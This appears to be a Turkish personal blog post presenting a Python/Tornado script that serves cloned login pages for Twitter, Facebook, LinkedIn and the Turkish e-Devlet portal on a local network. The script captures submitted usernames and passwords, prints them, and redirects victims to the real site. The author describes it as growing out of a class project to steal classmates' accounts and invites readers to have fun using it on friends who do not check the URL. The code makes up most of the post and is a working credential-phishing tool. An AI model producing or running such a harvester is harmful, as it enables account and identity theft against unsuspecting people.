Erdem YILDIZ

Siber Güvenlik Araştırmacısı
Python Geliştiricisi
Linux Hayranı

Python ile Local Ağda Bilinen Sosyal Medya Sitelerini Çalıştırmak!!!

Merhaba arkadaşlar bugün python ile yazmış olduğum script'te Sosyal medyada ençok kullanılan siteleri local ağınızda çalıştıran bir script'in sizlere amacını , kodlarını ve video ile kullanımı göstereceğim. Haydi bir giriş yapalım...

Arkadaşlar bu scripteki amacım şuydu.Yakın zamanda bir arkadaşıma Bilgi Güvenliği dersi için Proje ödevi'ne yardımcı oldum.Bu projede Kali Linux üzerinde bulunan setoolkit'i kullanarak bilinen sosyal medya sitelerini klonlayıp local ağda çalışantıran ve daha sonra kendi ip adresini local ağda diğer arkadaşlarıyla paylaşıp onların facebook vs. gibi sosyal medya hesaplarını çalmaya çalışam bir proje yaptık.Arkadaşıma yardım ettiğim süre boyunca setoolkit'in nasıl çalıştığını öğrendim ve bende python ile yazmaya karar verdim.Burada sizlere bunu göstermek istedim.Bu projeyi aynı local ağda bulunduğunuz(https , url kısmına dikkat etmeyen) arkaşlarınızla paylaşarak eğlenebiliriniz

Kötü kod yazdığım için üzgünüm.Daha iyi bir yazılımcı olmak için yazılım geliştirme ve problem çözme yeteneğim üzerinde hala uğraşmaktayım.
                                        #My-Setoolkit.py
                                        # -*- coding: utf-8 -*-
                                        import tornado.ioloop
                                        import tornado.web
                                        #		adress		kullanıcı adı			şifre		redirect yapılacak olan
                                        arr = {
                                            0 : ["Twitter.html" ,"session[username_or_email]","session[password]","https://twitter.com/login"],
                                            1 : ["Facebook.html","email"		         ,"pass"   	     ,"https://www.facebook.com" ],
                                            2 : ["E-devlet.html","tridField"		 ,"egpField"	     ,"https://giris.turkiye.gov.tr/Giris/gir"],
                                                3 : ["Linkedin.html","session_key" 		 ,"session_password","https://www.linkedin.com/"]
                                            }
                                        stat =""
                                        class MainHandler(tornado.web.RequestHandler):
                                            def get(self):
                                                global stat
                                                with open(arr[stat][0],"r") as file:
                                                    tmp = file.read()
                                                    self.write(tmp)
                                            def post(self):
                                                global stat
                                                u = self.get_body_argument(arr[stat][1], default=None, strip=False)
                                                p = self.get_body_argument(arr[stat][2],default=None, strip=False)
                                                print "Username :" , u
                                                print "Password :" , p
                                                self.redirect(arr[stat][3])

                                        if __name__ == "__main__":
                                            print "#"*30
                                            print "1  -->	Twitter.html"
                                                print "2  -->	Facebook.html"
                                            print "3  -->	E-devlet.html"
                                            print "4  -->	Linkedin.html"
                                            print "#"*30
                                            stat = input("Select page number to show your local network :") -1
                                            addr = raw_input("Please enter to show your local network the ip address :")
                                            try:
                                                application = tornado.web.Application([(r"/", MainHandler),])
                                                    application.listen(80,address=addr)
                                                    tornado.ioloop.IOLoop.instance().start()
                                            except:
                                                print "You closed your local server"


                                        

Yukarıda paylaşmış olduğum kodda bir sıkıntı yada yapılabilecek iyileştirmeler için bana ulaşabilirseniz çok sevinirim.Okuduğunuz için çok teşekkür ederim.Esen kalın :)